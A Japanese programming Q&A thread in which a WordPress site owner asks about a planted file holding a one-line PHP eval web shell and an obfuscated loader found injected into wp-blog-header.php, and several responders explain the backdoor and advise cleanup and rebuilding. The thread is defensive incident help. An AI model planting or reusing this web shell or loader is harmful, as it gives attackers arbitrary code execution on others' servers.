質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
WordPress

WordPressは、PHPで開発されているオープンソースのブログソフトウェアです。データベース管理システムにはMySQLを用いています。フリーのブログソフトウェアの中では最も人気が高く、PHPとHTMLを使って簡単にテンプレートをカスタマイズすることができます。

PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

Q&A

解決済

4回答

3545閲覧

PHPの中にあったO(オー)と0(ゼロ)で作られた文字が読めません&evalについて

KandM

総合スコア25

WordPress

WordPressは、PHPで開発されているオープンソースのブログソフトウェアです。データベース管理システムにはMySQLを用いています。フリーのブログソフトウェアの中では最も人気が高く、PHPとHTMLを使って簡単にテンプレートをカスタマイズすることができます。

PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

2グッド

4クリップ

投稿2016/08/22 07:48

PHP初心者なので、基本的な質問でしたら申し訳ありません。

先日よりサイトの調子が悪く現在リニューアル状態にした者です。

PHPはほとんど触ったことないので、以下のものについて「どういったものなのか」や「どう対処すればよいか」などのアドバイスをいただければと思います。

  • 4v0hlv20.phpという名前のファイル。この中に以下のものが書かれていました。
<?php @eval($_POST['j6lvn882']);?>

参考サイトこちらのサイトを見ると、もしかしてバックドアを通されているのかな?と気になっています。

  • wp-blog-header.phpというファイルの頭部分にやたらと長い(しかもまったく読めない)codeが大量にあって、これがデフォルトなのか改ざんされたのか、元のファイルを管理していない私には判断つかないので、どういったモノなのかさえ分かれば教えていただきたいです。一部掲載します。
$O_O0OO_00_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O0OOO__00_=$O_O0OO_00_{26}.$O_O0OO_00_{6}.$O_O0OO_00_{10}.$O_O0OO_00_{30}.$O_O0OO_00_{29}.$O_O0OO_00_{26}.$O_O0OO_00_{30}.$O_O0OO_00_{38}.$O_O0OO_00_{6}.$O_O0OO_00_{18}.$O_O0OO_00_{23}.$O_O0OO_00_{10}.$O_O0OO_00_{29}.$O_O0OO_00_{10}.$O_O0OO_00_{12}.$O_O0OO_00_{5}.$O_O0OO_00_{30}.$O_O0OO_00_{2}.$O_O0OO_00_{35}.$O_O0OO_00_{0}.$O_O0OO_00_{30}.$O_O0OO_00_{29}.$O_O0OO_00_{33}.$O_O0OO_00_{30}.$O_O0OO_00_{10};$O_00OO0_O_=$O_O0OO_00_{16}。。。

こんなのが何十行と続いており、最後の方の間にちょこちょことHTMLっぽいコードが間に埋められていました。
この下にWP公式っぽいものが数行書かれています。

かなり分かりにく質問の仕方になってしまっているかと思いますが、何卒よろしくお願いいたします。。

miyabi-sun, ponokaPG👍を押しています

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

退会済みユーザー

退会済みユーザー

2016/08/22 07:50

サーバーにアクセスする際のアカウント情報が漏洩していたり、あるいは既にアクセス用別ユーザーが作られている可能性もあるので、しっかり調べてください。ユーザー権限も一度点検を。
KandM

2016/08/22 07:53

コメントありがとうございます。 アカウント情報を一度刷新し、ユーザー権限も以前より限定的に設定しているのですが、まだこういった改ざんが続いて起きてしまいます。。 ご指摘のあった通り、今一度アクセスユーザーについて確認してみます。 ありがとうございます。
退会済みユーザー

退会済みユーザー

2016/08/22 07:54

urlエンコードされた文字列のデコードは、こちらのサイトが役立ちます。http://www.tagindex.com/tool/url.html デコードして得られた文字を改めて文字の順番を繋ぎ直してphp上で動作するコードを生成しているはずです。
KandM

2016/08/22 07:58

kei344様 はい、それですね。。 一度サイトは閉鎖して、外部の方に依頼もお願いすることになりましたが、すぐに対応はできないそうなので、こちらでできることがあればと思いサーバーサイドを確認していたところ以上のことが見られたため、再度質問させていただきました。 m6u様のおっしゃる通り一度ユーザー権限などは見直してパスワードを変えてみたりもしたのですが、それでも変わるので、すでにサーバー内に専用のバックドアがあるのかもと考え調査していたところです。
退会済みユーザー

退会済みユーザー

2016/08/22 08:05

webサーバープロセスを停止しておかないかぎり、止まらない気がします。
guest

回答4

0

提示の難読化されているコードが展開されると
$O_O0OO_00_n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37jになり、
それの組み合わせで生成される文字列 $O0OOO__00_date_default_timezone_setとなっています。
つまり、phpコードを生成しており、それで<?php @eval($_POST['j6lvn882']);?>を埋め込んでいったんだと思います。Webサーバーの実行権限でなんでも実行できる状態です。

Webサーバーの実行権限・サーバーの脆弱性対策状態にもよりますが、Webアクセス以外の通信も気を付けた方が良いでしょう。
サーバーに対してどれくらいコントロールする権限を持っているかわかりませんが、アクセスログなども(改ざんされている可能性がないではないですが、)収集しておき、ssh接続できるなら、lastやlastbで不明なIPからアクセスが無いかも確認してください。

一部を修正してリカバリーするのは危険ですので、再構築を軸に考えてください。

投稿2016/08/22 08:28

編集2016/08/22 08:31
flied_onion

総合スコア2604

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

KandM

2016/08/22 09:22

flied_onion様 解読ありがとうございます。もうなにがなにやらさっぱりですが、クラックされているというのはflied_onion様の解読で改めてわかりました。 このコード全部さらしたいのですが、いかんせん長く、載せれるかわからないのですが、必要とあれば別の方法で掲載したいと思います。 IPアドレスは確認したところ問題なさそうでした(改ざんの可能性は否定できませんが。。) 他のアクセスログについても確認してみます。!
flied_onion

2016/08/22 09:36

資料的価値はあるかもしれませんが、まだ脆弱性が残っている段階で全部掲載するのは危険かもしれません(それを見てアクセス方法がわかり、第三者が悪用しないとも限らないので)。 なので、公開するにしても慎重に行った方が良いかと思います。
guest

0

PHP

1<?php @eval($_POST['j6lvn882']);?>

このコードが公開領域にあったのだとすれば、PHPで可能なことはほとんど全て出来る可能性が高いです。これが書かれているファイルというかサーバへのアクセスは停止されていますか?されていない場合書き換えは続きます。

投稿2016/08/22 08:11

kei344

総合スコア69407

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

KandM

2016/08/22 08:22

FTP管理権限を持っている者は(侵入者含め)簡単にアクセスできます。パスワードを変えただけでは甘かったみたいですね。。 このファイルはxx.com>wp-content>uploadsの中にあり、メディアのライブラリなどを管理しているファイルの中にバックアップでもないのにあったので不審に思いご質問させていただきました。 対処法として(ファイルへのアクセスを停止させるに)はこの(怪しい)「phpファイルの削除」でよろしいでしょうか?
kei344

2016/08/22 08:24

HTTP経由でのアクセスは禁止されてますか? 対処法は全データを削除です。PHPが書き換え可能なエリア全てのファイルを削除してください。
KandM

2016/08/22 09:24

kei344様 はい、FTPへはhttpsでのアクセスのみとなります。 対象となるエリアのファイルの削除してみます!
kei344

2016/08/22 10:00

(されているとは思いますが)WebアクセスはHTTPSを含め全て禁止してくださいね。
guest

0

WordPressがインストールされているサーバーであれば必ず読み込まれるであろうphpファイル名として、何らかのいたずらや悪意あるコードがアップロードされているものだと思います。

内容については全文掲載されていないので解読できませんが、どこかにevalだとか、デコードして文字列を組み替えたものを実行してしまう内容になっているんじゃないでしょうか。
例示されている箇所についてだけ言及すると、何らかの悪意あるコードを展開させるために、アルファベットや記号や数字を含んだ文字列を、指定の位置の文字を一文字ずつ抜き出して改めて連結しようとしていますね。
機械的に展開すれば、26文字目、6文字目、10文字目、、、と連結して生成される文字列が直接実行されるのか、あるいはさらにまた組み替えられてしまうのか、ですね。

サーバーレンタルしなおして最初から構築しなおしたほうが手間がかからないかもしれません。

あまりオススメできませんが現行サーバーを使い続けるとしたら、
最初に、webサーバープロセスを停止させます。
実行していると点検中に随時介入される恐れが出てきますので。

次に、webサーバーのphpファイルなどが置かれているディレクトリをgrepしてevalなど変数に入っている文字列を直接実行しそうな箇所がないかを点検します。
_POSTや_GETや_REQUESTも点検すると良いでしょう。

自作コンテンツをいじってしのばせるというよりも、
予め作りこんだものを置きに行っている気がするので、
知らないコンテンツを削除するだけでいいのかもしれません。

パスワード生成ツールなどを駆使して難しいパスワードにするのも忘れずに。

投稿2016/08/22 08:05

編集2016/08/22 08:11
退会済みユーザー

退会済みユーザー

総合スコア0

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

KandM

2016/08/22 08:28

m6u様 なるほど、このO0の組み合わせのあとの数値は組み立ての際の一種の鍵のような役割をはたしているのですね。 実はサーバーは新しいのに変えて半年ほどしかたっていない中でのこういった攻撃を受けてしまっています。。 ので、後半でおっしゃられているwebサーバープロセスを停止させる方法を試してみたいと思います!
guest

0

自己解決

皆様のアドバイスを参考にさせていただいて、仕込まれていたファイルを発見、削除、ユーザ権限の確認と刷新をいたしまいたところ無事に復旧いたしました。

またkei344様からのアドバイスにありました用Webからのアクセスを全面的にできないようにしたところ不審なIPアドレスがなくなりました。
大変参考になりました。

ご協力・ご回答いただいた皆様、本当にありがとうございました。

投稿2016/08/25 03:20

KandM

総合スコア25

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問